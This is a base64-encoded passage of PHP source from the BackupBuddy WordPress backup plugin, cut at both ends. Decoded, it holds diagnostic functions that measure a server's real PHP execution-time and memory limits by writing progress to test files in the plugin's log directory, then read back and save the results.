CRjICk7CgkJfQoJCWZ0cnVuY2F0ZSggJGZoLCAkbWF4ZmlsZXNpemUgLSBzdHJsZW4oICRkcm9wICkgKTsKCQlmY2xvc2UoICRmaCApOwoJfSAvLyBFbmQgdHJ1bmNhdGVfZmlsZV9iZWdpbm5pbmcoKS4KCgoJLyoqCgkgKiBBdHRlbXB0cyB0byBjYWxjdWxhdGUgdGhlIGFjdHVhbCBtYXhpbXVtIFBIUCBleGVjdXRpb24gdGltZSBieSB3cml0aW5nIHRvIGEgdGV4dCBmaWxlIG9uY2UgcGVyIHNlY29uZCB0aGUgdGltZSBlbGFwc2VkIHNpbmNlIHBiX2JhY2t1cGJ1ZGR5IGNsYXNzIGxvYWRlZC4KCSAqCgkgKiBAcGFyYW0gYm9vbCAkc2NoZWR1bGVfcmVzdWx0cyAgU2NoZWR1bGUgcmVzdWx0cy4KCSAqIEBwYXJhbSBib29sICRmb3JjZV9ydW4gICAgICAgICBGb3JjZSBydW4uCgkgKgoJICogQHJldHVybiBmYWxzZXx2b2lkICBGYWxzZSBpZiBkaWRuJ3QgcnVuLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHBocF9ydW50aW1lX3Rlc3QoICRzY2hlZHVsZV9yZXN1bHRzID0gZmFsc2UsICRmb3JjZV9ydW4gPSBmYWxzZSApIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdCZWdpbm5pbmcgUEhQIHJ1bnRpbWUgdGVzdCBmdW5jdGlvbi4nICk7CgkJJHRlc3RfZmlsZSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldExvZ0RpcmVjdG9yeSgpIC4gJ3BocF9ydW50aW1lX3Rlc3QudHh0JzsKCgkJLy8gTWFrZSBzdXJlIG5vdCBydW5uaW5nIHRvbyBvZnRlbiwgZXZlbiBpZiBzY2hlZHVsZWQuCgkJaWYgKCBmYWxzZSA9PT0gJGZvcmNlX3J1biApIHsKCQkJJGVsYXBzZWQgPSB0aW1lKCkgLSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2xhc3RfdGVzdGVkX3BocF9ydW50aW1lJ107CgkJCWlmICggJGVsYXBzZWQgPCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3BocF9ydW50aW1lX3Rlc3RfbWluaW11bV9pbnRlcnZhbCddICkgeyAvLyBOb3QgZW5vdWdoIHRpbWUgZWxhcHNlZCBzaW5jZSBsYXN0IHJ1bi4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ05vdCBlbm91Z2ggdGltZSBlbGFwc2VkIHNpbmNlIGxhc3QgUEhQIHJ1bnRpbWUgdGVzdCBpbnRlcnZhbC4gRWxhcHNlZDogYCcgLiAkZWxhcHNlZCAuICdgLiBJbnRlcnZhbCBsaW1pdDogYCcgLiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3BocF9ydW50aW1lX3Rlc3RfbWluaW11bV9pbnRlcnZhbCddIC4gJ2AuJyApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoKCQkvLyBJZiB0ZXN0IGZpbGUgYWxyZWFkeSBleGlzdHMsIG1ha2Ugc3VyZSBpdCBkb2Vzbid0IGxvb2sgbGlrZSBhIHRlc3QgaXMgYWxyZWFkeSBydW5uaW5nLgoJCWlmICggZmlsZV9leGlzdHMoICR0ZXN0X2ZpbGUgKSApIHsKCQkJJGxhc3RfdXBkYXRlX3RpbWUgPSBmaWxlbXRpbWUoICR0ZXN0X2ZpbGUgKTsKCQkJaWYgKCBmYWxzZSAhPT0gJGxhc3RfdXBkYXRlX3RpbWUgKSB7IC8vIGlmIHdlIGNhbiBnZXQgZmlsZW10aW1lLi4uCgkJCQlpZiAoICggdGltZSgpIC0gJGxhc3RfdXBkYXRlX3RpbWUgKSA8IGJhY2t1cGJ1ZGR5X2NvbnN0YW50czo6UEhQX1JVTlRJTUVfUkVURVNUX0RFTEFZICkgeyAvLyBOb3QgZW5vdWdoIHRpbWUgaGFzIHBhc3NlZCBzaW5jZSBsYXN0IHNjYW4gbGFzdCB1cGRhdGVkIGZpbGUgc28gaXQgTUFZIHN0aWxsIGJlIGdvaW5nLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1BIUCBydW50aW1lIHRlc3Q6IE5vdCBlbm91Z2ggdGltZSBoYXMgcGFzc2VkIHNpbmNlIHRoZSBsYXN0IHRlc3QgdXBkYXRlZCB0aGUgZmlsZS4nICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9CgkJfQoKCQkvLyBPcGVuIHRlc3QgZmlsZSBmb3Igd3JpdGluZy4KCQkkZnNvID0gQGZvcGVuKCAkdGVzdF9maWxlLCAndycgKTsKCQlpZiAoIGZhbHNlID09PSAkZnNvICkgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQkvLyBTY2hlZHVsZSByZXN1bHRzIGNhbGN1bGF0aW9uIHRvIGhhcHBlbiBhZnRlcndhcmRzIGlmIGVuYWJsZWQuCgkJaWYgKCB0cnVlID09PSAkc2NoZWR1bGVfcmVzdWx0cyApIHsKCQkJLy8gU2NoZWR1bGUgdGVzdCByZXN1bHRzIGNhbGN1bGF0aW9uIHRvIHJ1bi4KCQkJJGNyb25fYXJncyAgICAgICA9IGFycmF5KCk7CgkJCSRzY2hlZHVsZV9yZXN1bHQgPSBiYWNrdXBidWRkeV9jb3JlOjpzY2hlZHVsZV9zaW5nbGVfZXZlbnQoIHRpbWUoKSArIGJhY2t1cGJ1ZGR5X2NvbnN0YW50czo6UEhQX1JVTlRJTUVfVEVTVF9NQVhfVElNRSArIGJhY2t1cGJ1ZGR5X2NvbnN0YW50czo6UEhQX1JVTlRJTUVfUkVURVNUX0RFTEFZICsgNSwgJ3BocF9ydW50aW1lX3Rlc3RfcmVzdWx0cycsICRjcm9uX2FyZ3MgKTsKCQkJaWYgKCB0cnVlID09PSAkc2NoZWR1bGVfcmVzdWx0ICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUEhQIHJ1bnRpbWUgdGVzdCByZXN1bHRzIGNyb24gZXZlbnQgc2NoZWR1bGVkLicgKTsKCQkJfSBlbHNlIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdQSFAgcnVudGltZSB0ZXN0IHJlc3VsdHMgY3JvbiBldmVudCBGQUlMRUQgdG8gYmUgc2NoZWR1bGVkLicgKTsKCQkJfQoJCX0KCgkJLy8gT25jZSBwZXIgc2Vjb25kIHdyaXRlIHRvIHRoZSBmaWxlIHRoZSBudW1iZXIgb2Ygc2Vjb25kcyBlbGFwc2VkIHNpbmNlIHRoZSB0ZXN0IGJlZ2FuLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N0YXJ0IFBIUCBydW50aW1lIHRlc3QgbG9vcHMuJyApOwoJCSRsb29wX2NvdW50ICAgICAgID0gMDsKCQkkbG9vcHNfcGVyX3NlY29uZCA9IGZhbHNlOwoJCSR0b3RhbF9sb29wcyAgICAgID0gYmFja3VwYnVkZHlfY29uc3RhbnRzOjpQSFBfUlVOVElNRV9URVNUX01BWF9USU1FOyAvLyBbZGVmYXVsdDogMzAwIChzZWMpID0gNW1pbl0uCgoJCS8vIFN0b3JlIGN1cnJlbnQgZXJyb3IgcmVwb3J0aW5nIGxldmVsIGFuZCB0ZW1wIHNldCB0byAwLgoJCSRyZXBvcnRpbmdfbGV2ZWwgPSBlcnJvcl9yZXBvcnRpbmcoKTsKCQllcnJvcl9yZXBvcnRpbmcoIDAgKTsKCgkJd2hpbGUgKCAkbG9vcF9jb3VudCA8PSAkdG90YWxfbG9vcHMgKSB7CgkJCSRsb29wX2NvdW50Kys7CgkJCUBmdHJ1bmNhdGUoICRmc28sIDAgKTsgLy8gRXJhc2UgZXhpc3RpbmcgZmlsZSBjb250ZW50cy4KCQkJJHRpbWVfZWxhcHNlZCA9IHJvdW5kKCBtaWNyb3RpbWUoIHRydWUgKSAtIHBiX2JhY2t1cGJ1ZGR5Ojokc3RhcnRfdGltZSwgMiApOwoJCQlpZiAoIGZhbHNlID09PSBAZndyaXRlKCAkZnNvLCAkdGltZV9lbGFwc2VkICkgKSB7IC8vIFVwZGF0ZSB0aW1lIGVsYXBzZWQgaW50byBmaWxlLgoJCQkJJHRvdGFsX2xvb3BzID0gMDsKCQkJCS8vIFJlc2V0IG9yaWdpbmFsIGVycm9yX3JlcG9ydGluZyBsZXZlbCBiZWZvcmUgZXhpdGluZy4KCQkJCWVycm9yX3JlcG9ydGluZyggJHJlcG9ydGluZ19sZXZlbCApOwoJCQkJYnJlYWs7IC8vIFN0b3Agc2luY2Ugd3JpdGluZyBmYWlsZWQuCgkJCX0KCgkJCWlmICggZmFsc2UgPT09ICRsb29wc19wZXJfc2Vjb25kICkgewoJCQkJJHN0YXJ0ICAgPSBtaWNyb3RpbWUoIHRydWUgKTsKCQkJCSRjb3VudGVyID0gMDsKCgkJCQl3aGlsZSAoICRjb3VudGVyKysgPCAxMDAwMDAgKSB7CgkJCQl9CgoJCQkJJHRpbWUgICAgICAgICAgICAgPSBtaWNyb3RpbWUoIHRydWUgKSAtICRzdGFydDsKCQkJCSRsb29wc19wZXJfc2Vjb25kID0gJGNvdW50ZXIgLyAkdGltZTsKCgkJCQlpZiAoICR0aW1lID49IDEgKSB7CgkJCQkJJGxvb3BfY291bnQgKz0gZmxvb3IoICR0aW1lICk7CgkJCQl9IGVsc2UgewoJCQkJCS8vIFdhc3RlIHRoZSByZW1haW5pbmcgcG9ydGlvbiBvZiBhIHNlY29uZAoJCQkJCXdoaWxlICggJGNvdW50ZXIrKyA8ICRsb29wc19wZXJfc2Vjb25kICkgewoJCQkJCX0KCQkJCX0KCQkJfSBlbHNlIHsKCQkJCSRjb3VudGVyID0gMDsKCQkJCS8vIFdhc3RlIGFwcHJveGltYXRlbHkgMSBzZWNvbmQKCQkJCXdoaWxlICggJGNvdW50ZXIrKyA8ICRsb29wc19wZXJfc2Vjb25kICkgewoJCQkJfQoJCQl9CgkJfSAvLyBlbmQgd2hpbGUuCgoJCS8vIFNldCBlcnJvciByZXBvcnRpbmcgYmFjayB0byBvcmlnaW5hbCBsZXZlbCwgYWx0aG91Z2ggdGhlIHNjcmlwdCBpcyBwcm9iYWJseSBkZWFkIGF0IHRoaXMgcG9pbnQuCgkJZXJyb3JfcmVwb3J0aW5nKCAkcmVwb3J0aW5nX2xldmVsICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRW5kIFBIUCBydW50aW1lIHRlc3QgbG9vcHMuJyApOwoKCQlAZmNsb3NlKCAkZnNvICk7CgoJfSAvLyBFbmQgcGhwX3J1bnRpbWVfdGVzdCgpLgoKCS8qKgoJICogQXR0ZW1wdHMgdG8gY2FsY3VsYXRlIHRoZSBhY3R1YWwgbWF4aW11bSBQSFAgbWVtb3J5IGxpbWl0IGJ5IHdyaXRpbmcgdG8gYSB0ZXh0IGZpbGUgd2hpbGUgaW5jcmVhc2luZyBtZW1vcnkgdXNhZ2UuCgkgKgoJICogQHBhcmFtIGJvb2wgJHNjaGVkdWxlX3Jlc3VsdHMgIFNjaGVkdWxlIHJlc3VsdHMuCgkgKiBAcGFyYW0gYm9vbCAkZm9yY2VfcnVuICAgICAgICAgRm9yY2UgUnVuLgoJICoKCSAqIEByZXR1cm4gZmFsc2V8dm9pZCAgRmFsc2UgaWYgZGlkbid0IHJ1bi4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBwaHBfbWVtb3J5X3Rlc3QoICRzY2hlZHVsZV9yZXN1bHRzID0gZmFsc2UsICRmb3JjZV9ydW4gPSBmYWxzZSApIHsKCQkkaW5jcmVtZW50X21iID0gMTsgLy8gSG93IG1hbnkgTUIgdG8gaW5jcmVtZW50IHBlciBjaHVuay4KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQmVnaW5uaW5nIFBIUCBtZW1vcnkgdGVzdCBmdW5jdGlvbi4nICk7CgkJJHRlc3RfZmlsZSA9IGJhY2t1cGJ1ZGR5X2NvcmU6OmdldExvZ0RpcmVjdG9yeSgpIC4gJ3BocF9tZW1vcnlfdGVzdC50eHQnOwoKCQkvLyBNYWtlIHN1cmUgbm90IHJ1bm5pbmcgdG9vIG9mdGVuLCBldmVuIGlmIHNjaGVkdWxlZC4KCQlpZiAoIGZhbHNlID09PSAkZm9yY2VfcnVuICkgewoJCQkkZWxhcHNlZCA9IHRpbWUoKSAtIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbGFzdF90ZXN0ZWRfcGhwX21lbW9yeSddOwoJCQlpZiAoICRlbGFwc2VkIDwgcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwaHBfbWVtb3J5X3Rlc3RfbWluaW11bV9pbnRlcnZhbCddICkgeyAvLyBOb3QgZW5vdWdoIHRpbWUgZWxhcHNlZCBzaW5jZSBsYXN0IHJ1bi4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ05vdCBlbm91Z2ggdGltZSBlbGFwc2VkIHNpbmNlIGxhc3QgUEhQIG1lbW9yeSB0ZXN0IGludGVydmFsLiBFbGFwc2VkOiBgJyAuICRlbGFwc2VkIC4gJ2AuIEludGVydmFsIGxpbWl0OiBgJyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncGhwX21lbW9yeV90ZXN0X21pbmltdW1faW50ZXJ2YWwnXSAuICdgLicgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCgkJLy8gSWYgdGVzdCBmaWxlIGFscmVhZHkgZXhpc3RzLCBtYWtlIHN1cmUgaXQgZG9lc24ndCBsb29rIGxpa2UgYSB0ZXN0IGlzIGFscmVhZHkgcnVubmluZy4KCQlpZiAoIGZpbGVfZXhpc3RzKCAkdGVzdF9maWxlICkgKSB7CgkJCSRsYXN0X3VwZGF0ZV90aW1lID0gZmlsZW10aW1lKCAkdGVzdF9maWxlICk7CgkJCWlmICggZmFsc2UgIT09ICRsYXN0X3VwZGF0ZV90aW1lICkgeyAvLyBpZiB3ZSBjYW4gZ2V0IGZpbGVtdGltZS4uLgoJCQkJaWYgKCAoIHRpbWUoKSAtICRsYXN0X3VwZGF0ZV90aW1lICkgPCBiYWNrdXBidWRkeV9jb25zdGFudHM6OlBIUF9NRU1PUllfUkVURVNUX0RFTEFZICkgeyAvLyBOb3QgZW5vdWdoIHRpbWUgaGFzIHBhc3NlZCBzaW5jZSBsYXN0IHNjYW4gbGFzdCB1cGRhdGVkIGZpbGUgc28gaXQgTUFZIHN0aWxsIGJlIGdvaW5nLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1BIUCBtZW1vcnkgdGVzdDogTm90IGVub3VnaCB0aW1lIGhhcyBwYXNzZWQgc2luY2UgdGhlIGxhc3QgdGVzdCB1cGRhdGVkIHRoZSBmaWxlLicgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0KCQl9CgoJCS8vIE9wZW4gdGVzdCBmaWxlIGZvciB3cml0aW5nLgoJCSRmc28gPSBAZm9wZW4oICR0ZXN0X2ZpbGUsICd3JyApOwoJCWlmICggZmFsc2UgPT09ICRmc28gKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCS8vIFNjaGVkdWxlIHJlc3VsdHMgY2FsY3VsYXRpb24gdG8gaGFwcGVuIGFmdGVyd2FyZHMgaWYgZW5hYmxlZC4KCQlpZiAoIHRydWUgPT09ICRzY2hlZHVsZV9yZXN1bHRzICkgewoJCQkvLyBTY2hlZHVsZSB0ZXN0IHJlc3VsdHMgY2FsY3VsYXRpb24gdG8gcnVuLgoJCQkkY3Jvbl9hcmdzICAgICAgID0gYXJyYXkoKTsKCQkJJHNjaGVkdWxlX3Jlc3VsdCA9IGJhY2t1cGJ1ZGR5X2NvcmU6OnNjaGVkdWxlX3NpbmdsZV9ldmVudCggdGltZSgpICsgYmFja3VwYnVkZHlfY29uc3RhbnRzOjpQSFBfTUVNT1JZX1JFVEVTVF9ERUxBWSArIDUsICdwaHBfbWVtb3J5X3Rlc3RfcmVzdWx0cycsICRjcm9uX2FyZ3MgKTsKCQkJaWYgKCB0cnVlID09PSAkc2NoZWR1bGVfcmVzdWx0ICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUEhQIG1lbW9yeSB0ZXN0IHJlc3VsdHMgY3JvbiBldmVudCBzY2hlZHVsZWQuJyApOwoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ1BIUCBtZW1vcnkgdGVzdCByZXN1bHRzIGNyb24gZXZlbnQgRkFJTEVEIHRvIGJlIHNjaGVkdWxlZC4nICk7CgkJCX0KCQl9CgoJCS8vIFN0b3JlIGN1cnJlbnQgZXJyb3IgcmVwb3J0aW5nIGxldmVsIGFuZCB0ZW1wIHNldCB0byAwLgoJCSRyZXBvcnRpbmdfbGV2ZWwgPSBlcnJvcl9yZXBvcnRpbmcoKTsKCQllcnJvcl9yZXBvcnRpbmcoIDAgKTsKCgkJLy8gT25jZSBwZXIgc2Vjb25kIHdyaXRlIHRvIHRoZSBmaWxlIHRoZSBudW1iZXIgb2Ygc2Vjb25kcyBlbGFwc2VkIHNpbmNlIHRoZSB0ZXN0IGJlZ2FuLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N0YXJ0IFBIUCBtZW1vcnkgdGVzdCBsb29wcy4nICk7CgkJJGxvb3BfY291bnQgPSAwOwoJCSRidWZmZXIgICAgID0gJyc7CgkJJGxvb3AgICAgICAgPSB0cnVlOwoJCXdoaWxlICggdHJ1ZSA9PT0gJGxvb3AgKSB7CgkJCSRsb29wX2NvdW50Kys7CgkJCWlmICggJGxvb3BfY291bnQgPiAxMDAwICkgewoJCQkJJGxvb3AgPSBmYWxzZTsKCQkJCWVycm9yX3JlcG9ydGluZyggJHJlcG9ydGluZ19sZXZlbCApOyAvLyBTZXQgZXJyb3IgcmVwb3J0aW5nIGJhY2sgdG8gb3JpZ2luYWwgbGV2ZWwsIGFsdGhvdWdoIHRoZSBzY3JpcHQgaXMgcHJvYmFibHkgZGVhZCBhdCB0aGlzIHBvaW50LgoJCQkJYnJlYWs7CgkJCX0KCgkJCSR7ICdtZW1fc3RyXycgLiAkbG9vcF9jb3VudH0gPSBzdHJfcGFkKCAnJywgMTA0ODU3NiAqICRpbmNyZW1lbnRfbWIgKTsKCgkJCS8vICR1c2FnZSA9IHJvdW5kKCBtZW1vcnlfZ2V0X3VzYWdlKCkgLyAxMDQ4NTc2LCAyICk7CgkJCSR1c2FnZSA9IHJvdW5kKCBtZW1vcnlfZ2V0X3VzYWdlKCB0cnVlICkgLyAxMDQ4NTc2LCAyICk7CgoJCQlAZnRydW5jYXRlKCAkZnNvLCAwICk7IC8vIEVyYXNlIGV4aXN0aW5nIGZpbGUgY29udGVudHMuCgkJCWlmICggZmFsc2UgPT09IEBmd3JpdGUoICRmc28sICR1c2FnZSApICkgeyAvLyBVcGRhdGUgdGltZSBlbGFwc2VkIGludG8gZmlsZS4KCQkJCSRsb29wID0gZmFsc2U7CgkJCQllcnJvcl9yZXBvcnRpbmcoICRyZXBvcnRpbmdfbGV2ZWwgKTsgLy8gU2V0IGVycm9yIHJlcG9ydGluZyBiYWNrIHRvIG9yaWdpbmFsIGxldmVsLCBhbHRob3VnaCB0aGUgc2NyaXB0IGlzIHByb2JhYmx5IGRlYWQgYXQgdGhpcyBwb2ludC4KCQkJCWJyZWFrOyAvLyBTdG9wIHNpbmNlIHdyaXRpbmcgZmFpbGVkLgoJCQl9CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdFbmQgUEhQIG1lbW9yeSB0ZXN0IGxvb3BzLicgKTsKCgkJJGJ1ZmZlciA9ICcnOwoJCUBmY2xvc2UoICRmc28gKTsKCQllcnJvcl9yZXBvcnRpbmcoICRyZXBvcnRpbmdfbGV2ZWwgKTsgLy8gU2V0IGVycm9yIHJlcG9ydGluZyBiYWNrIHRvIG9yaWdpbmFsIGxldmVsLCBhbHRob3VnaCB0aGUgc2NyaXB0IGlzIHByb2JhYmx5IGRlYWQgYXQgdGhpcyBwb2ludC4KCgl9IC8vIEVuZCBwaHBfbWVtb3J5X3Rlc3QoKS4KCgoJLyoqCgkgKiBTdG9yZXMgdGVzdGVkIHJ1bnRpbWUgaW4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX3J1bnRpbWUnXSwgcm91bmRlZCB1cCB0byBuZXh0IHdob2xlIG51bWJlci4gTm90ZTogcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX3J1bnRpbWUnXSBpcyAwIHVudGlsIHRlc3QgaXMgc3VjY2Vzc2Z1bC4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZ3xmYWxzZSAgUEhQIHJ1bnRpbWUgb3IgZmFsc2UuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcGhwX3J1bnRpbWVfdGVzdF9yZXN1bHRzKCkgewoJCSR0ZXN0X2ZpbGUgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdwaHBfcnVudGltZV90ZXN0LnR4dCc7CgoJCS8vIElmIHRlc3QgZmlsZSBhbHJlYWR5IGV4aXN0cywgbWFrZSBzdXJlIGl0IGRvZXNuJ3QgbG9vayBsaWtlIGEgdGVzdCBpcyBhbHJlYWR5IHJ1bm5pbmcuCgkJaWYgKCBmaWxlX2V4aXN0cyggJHRlc3RfZmlsZSApICkgewoJCQkkbGFzdF91cGRhdGVfdGltZSA9IGZpbGVtdGltZSggJHRlc3RfZmlsZSApOwoJCQlpZiAoICggdGltZSgpIC0gJGxhc3RfdXBkYXRlX3RpbWUgKSA8IGJhY2t1cGJ1ZGR5X2NvbnN0YW50czo6UEhQX1JVTlRJTUVfUkVURVNUX0RFTEFZICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUEhQIHJ1bnRpbWUgdGVzdCByZXN1bHRzOiBOb3QgZW5vdWdoIHRpbWUgaGFzIHBhc3NlZCBzaW5jZSB0aGUgbGFzdCB0ZXN0IHVwZGF0ZWQgdGhlIGZpbGUuJyApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfSBlbHNlIHsgLy8gRmlsZSBkb2VzIG5vdCBleGlzdC4KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJLy8gUmVhZCBmaWxlIGNvbnRlbnRzLgoJCSR0ZXN0ZWRfcnVudGltZSA9IEBmaWxlX2dldF9jb250ZW50cyggJHRlc3RfZmlsZSApOwoJCWlmICggZmFsc2UgPT09ICR0ZXN0ZWRfcnVudGltZSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM4MjkzNDg5NDogVW5hYmxlIHRvIHJlYWQgcGhwIHJ1bnRpbWUgdGVzdCByZXN1bHRzIGZpbGUuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQkvLyBTYW5pdGl6ZS4KCQkkdGVzdGVkX3J1bnRpbWUgPSB0cmltKCAkdGVzdGVkX3J1bnRpbWUgKTsKCgkJLy8gVmVyaWZ5IG5vdCBibGFuay4KCQlpZiAoICcnID09ICR0ZXN0ZWRfcnVudGltZSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTk9URTogUEhQIHJ1bnRpbWUgdGVzdCBibGFuay4gSXQgbWF5IGJlIGluIHByb2dyZXNzLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJLy8gVmVyaWZ5IG51bWVyaWMuCgkJaWYgKCAhIGlzX251bWVyaWMoICR0ZXN0ZWRfcnVudGltZSApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzMyODQ5MzQ3MzQ6IFBIUCBydW50aW1lIHRlc3QgcmVzdWx0cyBub24tbnVtZXJpYy4gVHJpbW1lZCByZXN1bHQ6IGAnIC4gJHRlc3RlZF9ydW50aW1lIC4gJ2AuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Rlc3RlZF9waHBfcnVudGltZSddICAgICAgPSBjZWlsKCAkdGVzdGVkX3J1bnRpbWUgKTsgLy8gUm91bmQgdXAuCgkJcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydsYXN0X3Rlc3RlZF9waHBfcnVudGltZSddID0gdGltZSgpOyAvLyBUaW1lc3RhbXAgdGVzdCByZXN1bHRzIHdlcmUgbGFzdCBzYXZlZC4KCQlwYl9iYWNrdXBidWRkeTo6c2F2ZSgpOwoKCQlAdW5saW5rKCAkdGVzdF9maWxlICk7IC8vIERlbGV0ZSB0ZXN0IGZpbGUgYXMgaXQgaXMgbm8gbG9uZ2VyIG5lZWRlZC4KCgkJcmV0dXJuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sndGVzdGVkX3BocF9ydW50aW1lJ107CgoJfSAvLyBFbmQgcGhwX3J1bnRpbWVfdGVzdF9yZXN1bHRzKCkuCgoKCS8qKgoJICogU3RvcmVzIHRlc3RlZCBtZW1vcnkgaW4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWyd0ZXN0ZWRfcGhwX21lbW9yeSddLCByb3VuZGVkIHVwIHRvIG5leHQgd2hvbGUgbnVtYmVyLiBOb3RlOiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3Rlc3RlZF9waHBfbWVtb3J5J10gaXMgMCB1bnRpbCB0ZXN0IGlzIHN1Y2Nlc3NmdWwuCgkgKgoJICogQHJldHVybiBzdHJpbmd8ZmFsc2UgIFBIUCB0ZXN0ZWQgbWVtb3J5IG9yIGZhbHNlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHBocF9tZW1vcnlfdGVzdF9yZXN1bHRzKCkgewoJCSR0ZXN0X2ZpbGUgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKSAuICdwaHBfbWVtb3J5X3Rlc3QudHh0JzsKCgkJLy8gSWYgdGVzdCBmaWxlIGFscmVhZHkgZXhpc3RzLCBtYWtlIHN1cmUgaXQgZG9lc24ndCBsb29rIGxpa2UgYSB0ZXN0IGlzIGFscmVhZHkgcnVubmluZy4KCQlpZiAoIGZpbGVfZXhpc3RzKCAkdGVzdF9maWxlICkgKSB7CgkJCSRsYXN0X3VwZGF0ZV90aW1lID0gZmlsZW10aW1lKCAkdGVzdF9maWxlICk7CgkJCWlmICggKCB0aW1lKCkgLSAkbGFzdF91cGRhdGVfdGltZSApIDwgYmFja3VwYnVkZHlfY29uc3RhbnRzOjpQSFBfTUVNT1JZX1JFVEVTVF9ERUxBWSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1BIUCBtZW1vcnkgdGVzdCByZXN1bHRzOiBOb3QgZW5vdWdoIHRpbWUgaGFzIHBhc3NlZCBzaW5jZSB0aGUgbGFzdCB0ZXN0IHVwZGF0ZWQgdGhlIGZpbGUuJyApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfSBlbHNlIHsgLy8gRmlsZSBkb2VzIG5vdCBleGlzdC4KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJLy8gUmVhZCBmaWxlIGNvbnRlbnRzLgoJCSR0ZXN0ZWRfbWVtb3J5ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCAkdGVzdF9maWxlICk7CgkJaWYgKCBmYWxzZSA9PT0gJHRlc3RlZF9tZW1vcnkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjNjYzNjQ6IFVuYWJsZSB0byByZWFkIHBocCBtZW1vcnkgdGVzdCByZXN1bHRzIGZpbGUuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQkvLyBTYW5pdGl6ZS4KCQkkdGVzdGVkX21lbW9yeSA9IHRyaW0oICR0ZXN0ZWRfbWVtb3J5ICk7CgoJCS8vIFZlcmlmeSBub3QgYmxhbmsuCgkJaWYgKCAnJyA9PSAkdGVzdGVkX21lbW9yeSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTk9URTogUEhQIG1lbW9yeSB0ZXN0IGJsYW5rLiBJdCBtYXkgYmUgaW4gcHJvZ3Jlc3MuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQkvLyBWZXJpZnkgbnVtZXJpYy4KCQlpZiAoICEgaXNfbnVtZXJpYyggJHRlc3RlZF9tZW1vcnkgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM3Njg0MzU0OTkwOiBQSFAgbWVtb3J5IHRlc